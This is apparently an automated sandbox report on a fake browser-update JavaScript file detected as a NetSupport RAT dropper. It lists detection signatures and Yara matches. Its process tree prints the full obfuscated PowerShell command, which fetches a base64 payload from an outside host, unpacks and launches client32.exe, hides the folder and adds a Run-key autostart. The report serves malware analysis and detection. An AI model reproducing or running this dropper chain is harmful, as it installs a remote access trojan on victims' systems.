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Windows
Analysis Report
Update 124.0.6367.158.js
Overview
General Information
Detection
NetSupport RAT
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Sigma detected: Powershell drops NetSupport RAT client
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Contains functionality to detect sleep reduction / modifications
Contains functionalty to change the wallpaper
Delayed program exit found
Found suspicious powershell code related to unpacking or dynamic code loading
Powershell drops PE file
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Sigma detected: WScript or CScript Dropper - File
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the clipboard data
Contains functionality to record screenshots
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evaded block containing many API calls
Found evasive API chain (date check)
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check if the current machine is a sandbox (GetTickCount - Sleep)
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Potential key logger detected (key state polling based)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious PowerShell Download - PoshModule
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses the system / local time for branch decision (may execute only at specific dates)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara detected NetSupport remote tool
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 380 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Updat e 124.0.63 67.158.js" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 1436 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Ex Bypass -NoP -C $ QJXNJMM='h ttp://dfwr eds.com/da ta.php?696 1';$HTWCGH =(New-Obje ct System. Net.WebCli ent).Downl oadString( $QJXNJMM); $GENO=[Sys tem.Conver t]::FromBa se64String ($HTWCGH); $asd = Get -Random -M inimum -10 -Maximum 37; $YZUQF NVBNAC=[Sy stem.Envir onment]::G etFolderPa th('Applic ationData' )+'\KYED'+ $asd;if (! (Test-Path $YZUQFNVB NAC -PathT ype Contai ner)) { Ne w-Item -Pa th $YZUQFN VBNAC -Ite mType Dire ctory };$p =Join-Path $YZUQFNVB NAC 'tttt. zip';[Syst em.IO.File ]::WriteAl lBytes($p, $GENO);try { Add-Ty pe -A Syst em.IO.Comp ression.Fi leSystem;[ System.IO. Compressio n.ZipFile] ::ExtractT oDirectory ($p,$YZUQF NVBNAC)} c atch { Wr ite-Host ' Failed: ' + $_; exi t};$CV=Joi n-Path $YZ UQFNVBNAC 'client32. exe';if (T est-Path $ CV -PathTy pe Leaf) { Start-Pro cess -File Path $CV} else {Writ e-Host 'No exe.'};$f d=Get-Item $YZUQFNVB NAC -Force ; $fd.attr ibutes='Hi dden';$s=$ YZUQFNVBNA C+'\client 32.exe';$k ='HKCU:\SO FTWARE\Mic rosoft\Win dows\Curre ntVersion\ Run';$v='K OTLG';$DS= 'String';N ew-ItemPro perty -Pat h $k -Name $v -Value $s -Prope rtyType $D S; MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 3200 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - client32.exe (PID: 5404 cmdline:
"C:\Users\ user\AppDa ta\Roaming \KYED2\cli ent32.exe" MD5: C4F1B50E3111D29774F7525039FF7086)
- client32.exe (PID: 1628 cmdline:
"C:\Users\ user\AppDa ta\Roaming \KYED2\cli ent32.exe" MD5: C4F1B50E3111D29774F7525039FF7086)
- client32.exe (PID: 4432 cmdline:
"C:\Users\ user\AppDa ta\Roaming \KYED2\cli ent32.exe" MD5: C4F1B50E3111D29774F7525039FF7086)
- cleanup
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
Click to see the 3 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
Click to see the 17 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
JoeSecurity_NetSupport | Yara detected NetSupport remote tool | Joe Security | ||
Click to see the 23 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |